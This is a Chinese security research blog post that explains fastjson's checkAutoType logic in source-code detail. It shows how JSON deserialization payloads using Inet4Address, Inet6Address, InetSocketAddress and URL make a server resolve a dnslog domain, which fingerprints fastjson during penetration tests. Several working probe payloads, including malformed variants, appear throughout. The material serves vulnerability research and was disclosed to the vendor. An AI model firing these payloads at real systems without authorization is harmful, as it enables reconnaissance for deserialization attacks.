通过dnslog探测fastjson的几种方法

c0ny1

2020-03-24

安全研究

fastjson

0x01 背景

在渗透测试中遇到json数据一般都会测试下有没有反序列化。然而json库有fastjson,jackson,gson等等。怎么判断后端不是fastjson呢？这就需要构造特定的payload了。

昨天翻看fastjson源码时发现了一些可以构造dns解析且没在黑名单当中的类，于是顺手给官方提了下Issue。有趣的是后续的师傅们讨论还挺热闹的，我也在这次讨论中学习了很多。这篇文章算是对那些方法的汇总和原理分析。

给fastjson官方提的issue

0x02 方法一:利用java.net.Inet[4|6]Address

很早之前有一个方法是使用java.net.InetAddress类，现在这个类已经列入黑名单。然而在翻阅fastjson最新版源码(v1.2.67)时，发现两个类没有在黑名单中，于是可以构造了如下payload，即可使fastjson进行DNS解析。下面以java.net.Inet4Address为例分析构造原理。

1 2	{"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"}

我们知道在fastjson在反序列化之前都会调用checkAutoType方法对类进行检查。通过调试发现，由于java.net.Inet4Address不在黑名单中，所以就算开启AutoType也是能过1处的检查。

fastjson的ParserConfig类自己维护了一个IdentityHashMap，在这个HashMap中的类会被认为是安全的。在2处可以在IdentityHashMap中可以获取到java.net.Inet4Address，所以clazz不为null，导致在3处就返回了。跳过了后续的未开启AutoType的黑名单检查。所以可以发现无论AutoType是否开启，都可以过checkAutoType的检查

//com.alibaba.fastjson.parser.ParserConfig#checkAutoType
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
    ...
    Class clazz;

    // 1.当打开了autoTypeSupport,类名又不在白名单时进行的黑名单检查
    if (!internalWhite && (this.autoTypeSupport || expectClassFlag)) {
        hash = h3;

        for(mask = 3; mask < className.length(); ++mask) {
            hash ^= (long)className.charAt(mask);
            hash *= 1099511628211L;
            ....
            if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null && Arrays.binarySearch(this.acceptHashCodes, fullHash) < 0) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
    }


    clazz = TypeUtils.getClassFromMapping(typeName);
    if (clazz == null) {
        // 2. fastjson的ParserConfig类自己维护了一个IdentityHashMap在这个HashMap中的类会被认为是安全的，会直接被返回。
        clazz = this.deserializers.findClass(typeName);
    }

    if (clazz == null) {
        clazz = (Class)this.typeMapping.get(typeName);
    }

    if (internalWhite) {
        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);
    }

    if (clazz != null) {
        if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        } else {
            // 3. 直接返回，不再走下面的autoTypeSupport和黑名单检查
            return clazz;
        }
    } else {
        // 4. 不开启autoType时，进行的黑名单检查
        if (!this.autoTypeSupport) {
            hash = h3;

            for(mask = 3; mask < className.length(); ++mask) {
                char c = className.charAt(mask);
                hash ^= (long)c;
                hash *= 1099511628211L;
                if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
                ...
            }
        }
    }    
    ...
}

fastjason对于Inet4Address类会使用MiscCodec这个ObjectDeserializer来反序列化。跟进发现解析器会取出val字段的值赋值给strVal变量，由于我们的类是Inet4Address，所以代码会执行到1处，进行域名解析。

//com.alibaba.fastjson.serializer.MiscCodec#deserialze
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
        ...
        objVal = parser.parse();
		 ...
        strVal = (String)objVal;
        if (strVal != null && strVal.length() != 0) {
            if (clazz == UUID.class) {
                ...
            } else if (clazz == URI.class) {
                ...
            } else if (clazz == URL.class) {
                ...
            } else if (clazz == Pattern.class) {
                ...
            } else if (clazz == Locale.class) {
                ...
            } else if (clazz == SimpleDateFormat.class) {
                ...
            } else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {
                ...
            } else {
                try {
                    // 1. 将strVal作为主机名,获取其对应的ip，域名在此处被解析
                    return InetAddress.getByName(strVal);
                } catch (UnknownHostException var11) {
                    throw new JSONException("deserialize inet adress error", var11);
                }
            }
        } else {
            return null;
        }
}

0x03 方法二:利用java.net.InetSocketAddress

java.net.InetSocketAddress类也在IdentityHashMap中，和上面一样无视checkAutoType检查。

通过它要走到InetAddress.getByName()流程相比方法一是要绕一些路的。刚开始一直没构造出来，后来在和实验室的@背影师傅交流时，才知道可以顺着解析器规则构造（它要啥就给它啥），最终payload如下，当然它是畸形的json。

1	{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

那这个是怎样构造出来的呢？这就需要简单了解下fastjson的词法分析器了，这里就不展开了。这里尤为关键的是解析器token值对应的含义，可以在com.alibaba.fastjson.parser.JSONToken类中看到它们。

//com.alibaba.fastjson.parser.JSONToken
public class JSONToken {
    ...
    public static String name(int value) {
        switch(value) {
        case 1:
            return "error";
        case 2:
            return "int";
        case 3:
            return "float";
        case 4:
            return "string";
        case 5:
            return "iso8601";
        case 6:
            return "true";
        case 7:
            return "false";
        case 8:
            return "null";
        case 9:
            return "new";
        case 10:
            return "(";
        case 11:
            return ")";
        case 12:
            return "{";
        case 13:
            return "}";
        case 14:
            return "[";
        case 15:
            return "]";
        case 16:
            return ",";
        case 17:
            return ":";
        case 18:
            return "ident";
        case 19:
            return "fieldName";
        case 20:
            return "EOF";
        case 21:
            return "Set";
        case 22:
            return "TreeSet";
        case 23:
            return "undefined";
        case 24:
            return ";";
        case 25:
            return ".";
        case 26:
            return "hex";
        default:
            return "Unknown";
        }
    }
}

构造这个payload需要分两步，第一步我们需要让代码执行到1处，这一路解析器要接收的字符在代码已经标好。按照顺序写就是{"@type":"java.net.InetSocketAddress"{"address":

//com.alibaba.fastjson.serializer.MiscCodec#deserialze
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
        JSONLexer lexer = parser.lexer;
        String className;
        if (clazz == InetSocketAddress.class) {
            if (lexer.token() == 8) {
                lexer.nextToken();
                return null;
            } else {
                // 12 ---> {
                parser.accept(12);
                InetAddress address = null;
                int port = 0;

                while(true) {
                    className = lexer.stringVal();
                    
                    lexer.nextToken(17);
                    // 字段名需要为address
                    if (className.equals("address")) {
                        // 17 ---> :
                        parser.accept(17);
                        // 1. 我们需要让解析器走到这里
                        address = (InetAddress)parser.parseObject(InetAddress.class);
                    } 
                    ...
                }
            }
        } 
        ...
}

parser.parseObject(InetAddress.class)最终依然会，调用MiscCodec#deserialze()方法来序列化，这里就来到我们构造payload的第二步。第二步的目标是要让解析器走到InetAddress.getByName(strVal)。解析器要接受的字符在代码里标好了，按照顺序写就是,"val":"http://dnslog"}。

//com.alibaba.fastjson.serializer.MiscCodec#deserialze
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
        JSONLexer lexer = parser.lexer;
        String className;
        // 序列化的是InetAddress.class类，走else流程
        if (clazz == InetSocketAddress.class) {
            ...
        } else {
            Object objVal;
            if (parser.resolveStatus == 2) {
                parser.resolveStatus = 0;
                // 16 ---> ,
                parser.accept(16);
                if (lexer.token() != 4) {
                    throw new JSONException("syntax error");
                }
                // 字段名 ---> val
                if (!"val".equals(lexer.stringVal())) {
                    throw new JSONException("syntax error");
                }

                lexer.nextToken();
                // 17 ---> :
                parser.accept(17);
                // 之后解析为对象,也就是val字段对应的值
                objVal = parser.parse();
                // 13 ---> }
                parser.accept(13);
            } 
            ....
           // 后续的流程和方法一一样了，进行类型判断
           strVal = (String)objVal;
           if (strVal != null && strVal.length() != 0) {
            if (clazz == UUID.class) {
                ...
            } else if (clazz == URI.class) {
                ...
            } else if (clazz == URL.class) {
                ...
            } else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {
                ...
            } else {
                try {
                // 域名解析
                    return InetAddress.getByName(strVal);
                } catch (UnknownHostException var11) {
                    throw new JSONException("deserialize inet adress error", var11);
                }
            }
        } 
}

两段合起来就得到了最终的payload。

0x04 方法三:利用java.net.URL

java.net.URL类也在IdentityHashMap中，和上面一样无视checkAutoType检查。

1	{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}

来源于@retanoj和@threedr3am两位师傅的启发,其原理和ysoserial中的URLDNS这个gadget原理一样。

简单来说就是向HashMap压入一个键值对时，HashMap需要获取key对象的hashcode。当key对象是一个URL对象时，在获取它的hashcode期间会调用getHostAddress方法获取host，这个过程域名会被解析。

URL对象hashcode的获取过程

fastjson解析上述payload时，先反序列化出URL(http://dnslog)对象，然后将{URL(http://dnslog):"x"}解析为一个HashMap,域名被解析。

@retanoj在Issue中还构造了好几个畸形的payload，虽然原理都是一样的,但还是挺有意思的,感受到了师傅对fastjson词法分析器透彻的理解。

{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:0

0x05 留一个问题

最后留个问题吧，我们都知道一般影响fastjson的gadget也会影响jackson。那么我们上面构造的payload，使用相同的原理能在jackson实现么？如果能，又该怎么构造呢？欢迎在blog留言区分享你的思考。

0x06 参考文献

https://github.com/alibaba/fastjson/issues/3077